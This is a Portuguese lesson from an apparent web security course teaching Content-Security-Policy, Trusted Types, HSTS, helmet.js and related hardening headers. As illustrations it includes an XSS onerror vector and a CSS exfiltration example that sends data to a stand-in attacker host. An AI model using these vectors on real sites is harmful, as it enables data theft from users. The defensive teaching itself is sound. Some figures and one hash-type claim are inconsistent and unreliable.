Pular para o conteúdo
~/.primo-academy.sh
☰ Aulas · Seguranca Frontend: XSS, CSRF, CSP, CORS, storage seguro e supply chain · 0/7
Recomendado: essencial

CSP e headers de hardening: Content-Security-Policy, Trusted Types, helmet

8 min de leitura

fonte

Voce protegeu contra XSS, mitigou CSRF. Agora vem a defesa em profundidade: headers HTTP que dizem ao browser "so permita isso, bloqueie aquilo, force HTTPS". Sao 1 linha de codigo por header mas o impacto e' gigantesco - 80% das falhas de seguranca em prod sao mitigaveis com headers certos.

CSP (Content-Security-Policy) sozinho mata a maioria de XSS stored e reflected. HSTS (Strict-Transport-Security) impede downgrade attacks. X-Content-Type-Options bloqueia MIME sniffing. Permissions-Policy desliga APIs que voce nao usa (camera, microfone, geolocation).

Se voce entende os 6-7 headers essenciais, como escreve-los, e o helmet.js que aplica o baseline automatico, voce sai de "seguranca reativa" pra "baseline preventivo aplicado em 5 minutos".

O essencial 🟢

O que e' CSP (Content-Security-Policy). CSP e' um response header que diz ao browser o que pode ser carregado na pagina:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com

Traduzindo: "so carrega recursos do mesmo origin. Scripts so do mesmo origin + CDN especifica. CSS do mesmo origin + inline. Imagens do mesmo origin, data URIs, ou HTTPS qualquer. Conexoes (fetch) so pro mesmo origin + API especifica."

Quando o browser ve um script inline (<script>foo()</script>) com CSP script-src 'self', ele bloqueia. Quando o browser ve um <img src="http://evil.com"> com img-src 'self', bloqueia. CSP enforca uma whitelist do que pode ser carregado.

A diretiva default-src - o "fallback" de todas as outras. Se voce nao especifica script-src, vale default-src. Estrategia comum: default-src 'none' (lockdown total) e ir liberando especificamente:

Content-Security-Policy:
  default-src 'none';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Esse e' o baseline 2026: lock down total, libera so o necessario. Apps com CSP default-src 'none' sao 10x menos vulnera veis a XSS que apps sem CSP.

Os "unsafe-" e o que significam.

  • 'self': mesmo origin (app.com).
  • 'unsafe-inline': destrava inline (<script>foo()</script> ou style="..."). Evite se possivel - quebra muito da protecao XSS. Use so pra CSS de libs antigas que precisam.
  • 'unsafe-eval': destrava eval(), new Function(), setTimeout(string). Quase nunca necessario em 2026.
  • 'nonce-<random>' ou 'sha256-<hash>': destrava inline especifico via nonce (numero random por request) ou hash. Pattern moderno. Inline so passa se o nonce/hash bater.

nonce - o pattern moderno pra inline necessario. Quando voce REALMENTE precisa de inline (ex: hydration do Next.js, scripts de third-party), use nonce:

// Server gera nonce por request
app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomUUID();
  next();
});

// CSP inclui o nonce
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    `script-src 'self' 'nonce-${res.locals.cspNonce}'`
  );
  next();
});

// HTML usa o nonce
<script nonce="<%= cspNonce %>">
  console.log("inline mas com nonce");
</script>

O nonce muda a cada request. Script inline so executa se o nonce bater. CSP com nonce elimina 99% de XSS inline - mesmo se o atacante injetar <script>, nao tem o nonce.

Trusted Types - a defesa mais forte contra XSS. Cobertura em xss, mas vale mencionar no CSP. Com require-trusted-types-for 'script', o browser lanca TypeError se voce usar innerHTML direto. So funciona via TrustedHTML criado por uma policy function. A defesa mais forte em 2026.

Content-Security-Policy:
  require-trusted-types-for 'script';
  trusted-types myPolicy default;

Os 7 headers essenciais de hardening. Lista minima de headers que toda app producao deveria ter:

HeaderO que faz
Content-Security-PolicyWhitelist de recursos que podem ser carregados
Strict-Transport-SecurityForce HTTPS por 1 ano (HSTS)
X-Content-Type-OptionsBloqueia MIME sniffing (nosniff)
Referrer-PolicyControla o que vai no header Referer
Permissions-PolicyDesabilita APIs nao usadas (camera, geo, mic)
X-Frame-OptionsBloqueia embedding em iframe (clickjacking) - LEGACY, prefira CSP frame-ancestors
Cross-Origin-Opener-PolicyIsola o window opener (protege contra tab-nabbing)
Cross-Origin-Embedder-PolicyExige recursos credenciados (CORP + COEP pra SharedArrayBuffer)

Strict-Transport-Security (HSTS) - force HTTPS. O header:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Traduzindo: "por 1 ano, force HTTPS. Aplique em subdomains. Estou no preload list do Chrome."

Sem HSTS, o usuario pode digitar http://seu-site.com e ser redirecionado (mas o request inicial vai em HTTP, exposto). Com HSTS, o browser se recusa a fazer HTTP - so HTTPS, direto.

X-Content-Type-Options: nosniff - bloqueia MIME sniffing. Sem esse header, o browser pode adivinhar o Content-Type e interpretar script.js (deveria ser text/plain) como JavaScript. Com nosniff, o browser usa o Content-Type declarado, ponto. Sempre em apps que servem user-uploaded content.

**Referrer-Policy: strict-origin-when-cross-origin

  • controle o que vaza.** Por default, quando o usuario clica num link, o Referer header vaza a URL completa (incluindo query params com dados sensíveis). O header controla:
PolicyComportamento
no-referrerNunca envia Referer
same-originSo envia same-origin, full URL
strict-origin-when-cross-originSame-origin = full URL, cross-origin = so origin
unsafe-url (default)Sempre full URL

strict-origin-when-cross-origin e' o sweet spot 2026 - equilibrio entre UX (analytics recebem origin) e privacidade (nao vaza path completo cross-origin).

Permissions-Policy - desligar APIs que voce nao usa. Se seu app nao usa camera, microfone, geolocation - desligue a API completamente. Site embed em iframe nao podera requisitar essas APIs.

Permissions-Policy: camera=(), microphone=(), geolocation=(), interest-cohort=()
  • camera=() - bloqueia camera pra TODOS.
  • camera=(self) - so libera no mesmo origin.
  • interest-cohort=() - desabilita FLoC (privacy).

X-Frame-Options: DENY (ou CSP frame-ancestors). Bloqueia seu site de ser embedado em iframe. Anti-clickjacking. Sites maliciosos as vezes embedam seu site numa iframe invisivel por baixo do mouse do usuario - o usuario "clica" no seu site mas o click e' capturado pelo site malicioso. Com X-Frame-Options: DENY ou CSP frame-ancestors 'none', o browser se recusa a carregar seu site em iframe.

# Moderno (CSP)
Content-Security-Policy: frame-ancestors 'none'

# Legacy (compat)
X-Frame-Options: DENY

helmet.js - o atalho pra 80% dos headers. Em Express, helmet aplica o baseline de seguranca com 1 linha:

pnpm add helmet
import helmet from "helmet";

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.example.com"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],
    },
  },
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
  referrerPolicy: { policy: "strict-origin-when-cross-origin" },
  // ...
}));

Helmet aplica todos os headers essenciais com defaults seguros. Customize via helmet({...}). Em Next.js, use headers() em next.config.js. Em Remix, use entry.server.tsx. Em Vite/React puro, configure no servidor (Nginx, Cloudflare).

CSP report-uri e report-to - coletar violacoes. Quando CSP bloqueia algo, voce pode receber report:

Content-Security-Policy:
  ...regras...;
  report-uri /api/csp-report;
  report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"/api/csp-report"}]}

Reports vem como POST com JSON:

{
  "csp-report": {
    "document-uri": "https://app.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/bad.js"
  }
}

Util em modo enforcement gradual: comece com Content-Security-Policy-Report-Only (reports mas nao bloqueia), colete dados, ajuste, depois enforce.

Aprofundamento 🟡

CSP Report-Only - o modo "shadow". Antes de aplicar CSP real (que pode quebrar o app), use Report-Only:

Content-Security-Policy-Report-Only: ...

Browser reporta violacoes mas nao bloqueia. Voce coleta reports, identifica o que quebra, ajusta a policy, e quando tiver confianca, troca pra Content-Security-Policy real.

E' o padrao de rollout recomendado. Em prod, faca deploy em Report-Only, colete por 1-2 semanas, depois enforce.

script-src-elem vs script-src-attr - granularidade. CSP3 separa scripts em:

  • script-src-elem: scripts via <script src> ou inline.
  • script-src-attr: scripts via atributos (onclick, onerror, etc).

Util pra ser mais permissivo num lado, estrito no outro:

script-src-elem 'self' 'nonce-abc' https://cdn.example.com;
script-src-attr 'none';   /* bloqueia TODOS event handlers inline */

script-src-attr 'none' mata toda classe de XSS via event handlers (sem onclick, onerror, onload inline). O XSS classico via <img src=x onerror=...> fica impossivel.

CSP para SSR (Next.js, etc). Em SSR, o HTML e gerado no server. O nonce precisa ser:

  1. Gerado por request (nao estatico).
  2. Incluido no CSP header E no <script>.
  3. Unico por request (reutilizar quebra a protecao).

Em Next.js, o middleware pode gerar:

// middleware.ts
import { NextResponse } from "next/server";

export function middleware(request) {
  const nonce = Buffer.from(crypto.randomUUID()).toString("base64");
  const csp = `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`;

  const requestHeaders = new Headers(request.headers);
  requestHeaders.set("x-nonce", nonce);
  requestHeaders.set("Content-Security-Policy", csp);

  const response = NextResponse.next({ request: { headers: requestHeaders } });
  response.headers.set("Content-Security-Policy", csp);
  return response;
}

O nonce e passado via requestHeaders pra que o componente leia e aplique em cada <script nonce={nonce}>.

trusted-types policy violation - o que acontece. Com require-trusted-types-for 'script':

// TypeError: Failed to set the 'innerHTML' property
// on 'Element': This document requires 'TrustedHTML' assignment.
element.innerHTML = userInput;

// CERTO
const policy = trustedTypes.createPolicy("default", {
  createHTML: (s) => DOMPurify.sanitize(s),
});
element.innerHTML = policy.createHTML(userInput);

Sem policy, TypeError no console. O codigo quebra de forma obvia - o dev sabe que precisa criar policy. E' o que torna Trusted Types a defesa mais forte - nao da pra "esquecer" de usar.

**Cross-Origin-Embedder-Policy: require-corp

  • isolamento total.** COEP exige que todos os recursos carregados sejam "CORS-safe" (tenham header CORS). Em troca, voce ganha SharedArrayBuffer (que exige isolamento pra evitar Spectre). E' estrito: se um <img> nao tem CORS, nao carrega. Use so em apps que precisam de SharedArrayBuffer (Figma-like, video editing).

Permissions-Policy granular. Voce pode desligar features por origin:

Permissions-Policy: camera=(self "https://trusted-cdn.com"), microphone=(), geolocation=(self)
  • camera=(self "https://trusted-cdn.com"): camera so no mesmo origin OU no CDN trusted.
  • microphone=(): bloqueia em todos.
  • geolocation=(self): geolocation so no mesmo origin (iframe nao pode pedir).

Util pra progressive enhancement: o app usa camera, mas iframes de ads nao podem.

helmet vs configuracao manual. Helmet e' conveniente mas pode ter defaults que conflitam com seu app. Em 2026, com a maioria das apps em Next.js, Remix, ou Vercel/Netlify, a plataforma ja aplica headers via config (Vercel tem vercel.json headers). Helmet e' melhor em apps Express custom. Em Next.js, prefira headers() no next.config.js.

Pra quem quer ir mais alem 🔴

Por que unsafe-inline em CSS e' "aceitavel" mas em JS nao. CSS inline (style="..." ou <style> block) tem menos vetores de ataque. O maximo conhecido e' "exfiltrate data via background-image: url(http://attacker.com/?data=...)" mas e' limitado. CSP style-src 'self' 'unsafe-inline' e' default pratico em 2026.

JS inline tem dezenas de vetores (<script>, on*, javascript: URLs, etc). CSP script-src 'self' (sem unsafe-inline) e' obrigatorio em apps sensiveis.

Subresource Integrity (SRI) - o "checksum" pra scripts de CDN. Quando voce carrega jQuery de cdn.jsdelivr.net, como garante que aquela versao e nao foi modificada? SRI:

<script
  src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"
  integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4="
  crossorigin="anonymous">
</script>

O integrity e' o hash SHA-384 do arquivo. Se o arquivo for diferente (modificado por attacker, MITM, ou qualquer coisa), o browser se recusa a executar. Util em scripts e styles de CDN.

**Cross-Origin-Resource-Policy: same-origin

  • controle de recursos cross-origin.** Header que diz "esse recurso so pode ser carregado por paginas same-origin". Util em imagens, fonts, e scripts que voce NAO quer que outros sites embedem.
Cross-Origin-Resource-Policy: same-origin

Se outro site tentar usar <img src="https://app.com/secret.png">, o browser bloqueia. Defesa em profundidade contra hotlinking.

Cache-Control: no-store em respostas com dados sensiveis. Cobertura em cdn-e-cache da trilha de performance, mas vale mencionar: headers de seguranca incluem privacidade. Resposta com dados pessoais (perfil, conta) deve ter Cache-Control: no-store - nunca vai pra cache compartilhada (CDN, proxy).

**X-Permitted-Cross-Domain-Policies: none

  • bloqueia Flash/Acrobat cross-domain.** Header legado pra bloquear politicas cross-domain do Flash/Acrobat. Em 2026 ninguem usa Flash, mas Adobe Acrobat ainda suporta. Defesa paranoia: adicione. Custo zero.

Leitura recomendada:

Dica: o erro mais comum em CSP e' CSP permissiva demais por medo de quebrar o app. script-src 'self' 'unsafe-inline' 'unsafe-eval' https: e' equivalente a "sem CSP". Comece com default-src 'none', libere so o necessario, e faca rollout com Content-Security-Policy-Report-Only primeiro. CSP nao e' all-or-nothing - cada diretiva restritiva e' defesa adicional.

No proximo no, vamos storage seguro: quando usar localStorage vs sessionStorage vs cookies httpOnly vs IndexedDB vs memory, e a decision tree "qual storage pra qual dado".

// Quiz

Por que 'Report-Only' deve ser usado antes de aplicar CSP estrita?

Escolha uma alternativa

// recursos

// avaliação da trilha

—
ainda sem avaliações